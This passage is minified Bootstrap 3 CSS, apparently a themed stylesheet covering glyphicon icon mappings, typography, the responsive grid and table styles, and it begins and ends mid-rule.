-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphicon-open-file:before{content:"\e203"}.glyphicon-level-up:before{content:"\e204"}.glyphicon-copy:before{content:"\e205"}.glyphicon-paste:before{content:"\e206"}.glyphicon-alert:before{content:"\e209"}.glyphicon-equalizer:before{content:"\e210"}.glyphicon-king:before{content:"\e211"}.glyphicon-queen:before{content:"\e212"}.glyphicon-pawn:before{content:"\e213"}.glyphicon-bishop:before{content:"\e214"}.glyphicon-knight:before{content:"\e215"}.glyphicon-baby-formula:before{content:"\e216"}.glyphicon-tent:before{content:"\26fa"}.glyphicon-blackboard:before{content:"\e218"}.glyphicon-bed:before{content:"\e219"}.glyphicon-apple:before{content:"\f8ff"}.glyphicon-erase:before{content:"\e221"}.glyphicon-hourglass:before{content:"\231b"}.glyphicon-lamp:before{content:"\e223"}.glyphicon-duplicate:before{content:"\e224"}.glyphicon-piggy-bank:before{content:"\e225"}.glyphicon-scissors:before{content:"\e226"}.glyphicon-bitcoin:before{content:"\e227"}.glyphicon-yen:before{content:"\00a5"}.glyphicon-ruble:before{content:"\20bd"}.glyphicon-scale:before{content:"\e230"}.glyphicon-ice-lolly:before{content:"\e231"}.glyphicon-ice-lolly-tasted:before{content:"\e232"}.glyphicon-education:before{content:"\e233"}.glyphicon-option-horizontal:before{content:"\e234"}.glyphicon-option-vertical:before{content:"\e235"}.glyphicon-menu-hamburger:before{content:"\e236"}.glyphicon-modal-window:before{content:"\e237"}.glyphicon-oil:before{content:"\e238"}.glyphicon-grain:before{content:"\e239"}.glyphicon-sunglasses:before{content:"\e240"}.glyphicon-text-size:before{content:"\e241"}.glyphicon-text-color:before{content:"\e242"}.glyphicon-text-background:before{content:"\e243"}.glyphicon-object-align-top:before{content:"\e244"}.glyphicon-object-align-bottom:before{content:"\e245"}.glyphicon-object-align-horizontal:before{content:"\e246"}.glyphicon-object-align-left:before{content:"\e247"}.glyphicon-object-align-vertical:before{content:"\e248"}.glyphicon-object-align-right:before{content:"\e249"}.glyphicon-triangle-right:before{content:"\e250"}.glyphicon-triangle-left:before{content:"\e251"}.glyphicon-triangle-bottom:before{content:"\e252"}.glyphicon-triangle-top:before{content:"\e253"}.glyphicon-console:before{content:"\e254"}.glyphicon-superscript:before{content:"\e255"}.glyphicon-subscript:before{content:"\e256"}.glyphicon-menu-left:before{content:"\e257"}.glyphicon-menu-right:before{content:"\e258"}.glyphicon-menu-down:before{content:"\e259"}.glyphicon-menu-up:before{content:"\e260"}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}*:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Source Sans Pro",Calibri,Candara,Arial,sans-serif;font-size:15px;line-height:1.42857143;color:#333333;background-color:#ffffff}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#2780e3;text-decoration:none}a:hover,a:focus{color:#165ba8;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.img-responsive,.thumbnail>img,.thumbnail a>img,.carousel-inner>.item>img,.carousel-inner>.item>a>img{display:block;max-width:100%;height:auto}.img-rounded{border-radius:0}.img-thumbnail{padding:4px;line-height:1.42857143;background-color:#ffffff;border:1px solid #dddddd;border-radius:0;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;display:inline-block;max-width:100%;height:auto}.img-circle{border-radius:50%}hr{margin-top:21px;margin-bottom:21px;border:0;border-top:1px solid #e6e6e6}.sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-family:"Source Sans Pro",Calibri,Candara,Arial,sans-serif;font-weight:300;line-height:1.1;color:inherit}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small,.h1 small,.h2 small,.h3 small,.h4 small,.h5 small,.h6 small,h1 .small,h2 .small,h3 .small,h4 .small,h5 .small,h6 .small,.h1 .small,.h2 .small,.h3 .small,.h4 .small,.h5 .small,.h6 .small{font-weight:normal;line-height:1;color:#999999}h1,.h1,h2,.h2,h3,.h3{margin-top:21px;margin-bottom:10.5px}h1 small,.h1 small,h2 small,.h2 small,h3 small,.h3 small,h1 .small,.h1 .small,h2 .small,.h2 .small,h3 .small,.h3 .small{font-size:65%}h4,.h4,h5,.h5,h6,.h6{margin-top:10.5px;margin-bottom:10.5px}h4 small,.h4 small,h5 small,.h5 small,h6 small,.h6 small,h4 .small,.h4 .small,h5 .small,.h5 .small,h6 .small,.h6 .small{font-size:75%}h1,.h1{font-size:39px}h2,.h2{font-size:32px}h3,.h3{font-size:26px}h4,.h4{font-size:19px}h5,.h5{font-size:15px}h6,.h6{font-size:13px}p{margin:0 0 10.5px}.lead{margin-bottom:21px;font-size:17px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:22.5px}}small,.small{font-size:86%}mark,.mark{background-color:#ff7518;padding:.2em}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#999999}.text-primary{color:#2780e3}a.text-primary:hover{color:#1967be}.text-success{color:#ffffff}a.text-success:hover{color:#e6e6e6}.text-info{color:#ffffff}a.text-info:hover{color:#e6e6e6}.text-warning{color:#ffffff}a.text-warning:hover{color:#e6e6e6}.text-danger{color:#ffffff}a.text-danger:hover{color:#e6e6e6}.bg-primary{color:#fff;background-color:#2780e3}a.bg-primary:hover{background-color:#1967be}.bg-success{background-color:#3fb618}a.bg-success:hover{background-color:#2f8912}.bg-info{background-color:#9954bb}a.bg-info:hover{background-color:#7e3f9d}.bg-warning{background-color:#ff7518}a.bg-warning:hover{background-color:#e45c00}.bg-danger{background-color:#ff0039}a.bg-danger:hover{background-color:#cc002e}.page-header{padding-bottom:9.5px;margin:42px 0 21px;border-bottom:1px solid #e6e6e6}ul,ol{margin-top:0;margin-bottom:10.5px}ul ul,ol ul,ul ol,ol ol{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none;margin-left:-5px}.list-inline>li{display:inline-block;padding-left:5px;padding-right:5px}dl{margin-top:0;margin-bottom:21px}dt,dd{line-height:1.42857143}dt{font-weight:bold}dd{margin-left:0}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[title],abbr[data-original-title]{cursor:help;border-bottom:1px dotted #999999}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10.5px 21px;margin:0 0 21px;font-size:18.75px;border-left:5px solid #e6e6e6}blockquote p:last-child,blockquote ul:last-child,blockquote ol:last-child{margin-bottom:0}blockquote footer,blockquote small,blockquote .small{display:block;font-size:80%;line-height:1.42857143;color:#999999}blockquote footer:before,blockquote small:before,blockquote .small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;border-right:5px solid #e6e6e6;border-left:0;text-align:right}.blockquote-reverse footer:before,blockquote.pull-right footer:before,.blockquote-reverse small:before,blockquote.pull-right small:before,.blockquote-reverse .small:before,blockquote.pull-right .small:before{content:''}.blockquote-reverse footer:after,blockquote.pull-right footer:after,.blockquote-reverse small:after,blockquote.pull-right small:after,.blockquote-reverse .small:after,blockquote.pull-right .small:after{content:'\00A0 \2014'}address{margin-bottom:21px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:0}kbd{padding:2px 4px;font-size:90%;color:#ffffff;background-color:#333333;border-radius:0;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.25);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.25)}kbd kbd{padding:0;font-size:100%;font-weight:bold;-webkit-box-shadow:none;box-shadow:none}pre{display:block;padding:10px;margin:0 0 10.5px;font-size:14px;line-height:1.42857143;word-break:break-all;word-wrap:break-word;color:#333333;background-color:#f5f5f5;border:1px solid #cccccc;border-radius:0}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{margin-right:auto;margin-left:auto;padding-left:15px;padding-right:15px}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1170px}}.container-fluid{margin-right:auto;margin-left:auto;padding-left:15px;padding-right:15px}.row{margin-left:-15px;margin-right:-15px}.col-xs-1,.col-sm-1,.col-md-1,.col-lg-1,.col-xs-2,.col-sm-2,.col-md-2,.col-lg-2,.col-xs-3,.col-sm-3,.col-md-3,.col-lg-3,.col-xs-4,.col-sm-4,.col-md-4,.col-lg-4,.col-xs-5,.col-sm-5,.col-md-5,.col-lg-5,.col-xs-6,.col-sm-6,.col-md-6,.col-lg-6,.col-xs-7,.col-sm-7,.col-md-7,.col-lg-7,.col-xs-8,.col-sm-8,.col-md-8,.col-lg-8,.col-xs-9,.col-sm-9,.col-md-9,.col-lg-9,.col-xs-10,.col-sm-10,.col-md-10,.col-lg-10,.col-xs-11,.col-sm-11,.col-md-11,.col-lg-11,.col-xs-12,.col-sm-12,.col-md-12,.col-lg-12{position:relative;min-height:1px;padding-left:15px;padding-right:15px}.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:auto}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:auto}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-0{margin-left:0%}@media (min-width:768px){.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:auto}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:auto}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0%}}@media (min-width:992px){.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:auto}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:auto}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0%}}@media (min-width:1200px){.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:auto}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:auto}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0%}}table{background-color:transparent}caption{padding-top:8px;padding-bottom:8px;color:#999999;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:21px}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #dddddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #dddddd}.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>th,.table>caption+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>td,.table>thead:first-child>tr:first-child>td{border-top:0}.table>tbody+tbody{border-top:2px solid #dddddd}.table .table{background-color:#ffffff}.table-condensed>thead>tr>th,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>tbody>tr>td,.table-condensed>tfoot>tr>td{padding:5px}.table-bordered{border:1px solid #dddddd}.table-bordered>thead>tr>th,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>tbody>tr>td,.table-bordered>tfoot>tr>td{border:1px solid #dddddd}.table-bordered>thead>tr>th,.table-bordered>thead>tr>td{border-bottom-width:2px}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}table col[class*="col-"]{position:static;float:none;display:table-column}table td[class*="col-"],table th[class*="col-"]{position:static;float:none;display:table-cell}.table>thead>tr>td.active,.table>tbody>tr>td.active,.table>tfoot>tr>td.active,.table>thead>tr>th.active,.table>tbody>tr>th.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>tbody>tr.active>td,.table>tfoot>tr.active>td,.table>thead>tr.active>th,.table>tbody>tr.active>th,.table>tfoot>tr.active>th{background-color:#f5f5f5}.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover,.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr.active:hover>th{background-color:#e8e8e8}.table>thead>tr>td.success,.table>tbody>tr>td.success,.table>tfoot>tr>td.success,.table>thead>tr>th.success,.table>tbody>tr>th.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>tbody>tr.success>td,.table>tfoot>tr.success>td,.table>thead>tr.success>th,.table>tbody>tr.success>th,.table>tfoot>tr.success>th{background-color:#3fb618}.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover,.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr.success:hover>th{background-color:#379f15}.table>thead>tr>td.info,.table>tbody>tr>td.info,.table>tfoot>tr>td.info,.table>thead>tr>th.info,.table>tbody>tr>th.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>tbody>tr.info>td,.table>tfoot>tr.info>td,.table>thead>tr.info>th,.table>tbody>tr.info>th,.table>tfoot>tr.info>th{background-color:#9954bb}.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover,.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr.info:hover>th{background-color:#8d46b0}.table>thead>tr>td.warning,.table>tbody>tr>td.warning,.table>tfoot>tr>td.warning,.table>thead>tr>th.warning,.table>tbody>tr>th.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>tbody>tr.warning>td,.table>tfoot>tr.warning>td,.table>thead>tr.warning>th,.table>tbody>tr.warning>th,.table>tfoot>tr.warning>th{background-color:#ff7518}.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover,.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr.warning:hover>th{background-color:#fe6600}.table>thead>tr>td.danger,.table>tbody>tr>td.danger,.table>tfoot>tr>td.danger,.table>thead>tr>th.danger,.table>tbody>tr>th.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>tbody>tr.danger>td,.table>tfoot>tr.danger>td,.table>thead>tr.danger>th,.table>tbody>tr.danger>th,.table>tfoot>tr.danger>th{background-color:#ff0039}.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover,.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr.danger:hover>th{background-color:#e60033}.table-responsive{overflow-x:auto;min-height:0.01%}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15.75px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #dddddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>td{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>th,.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;margin-bottom:21px;font-size:22.5px;line-height:inherit;color:#333333;border:0;border-bottom:1px solid 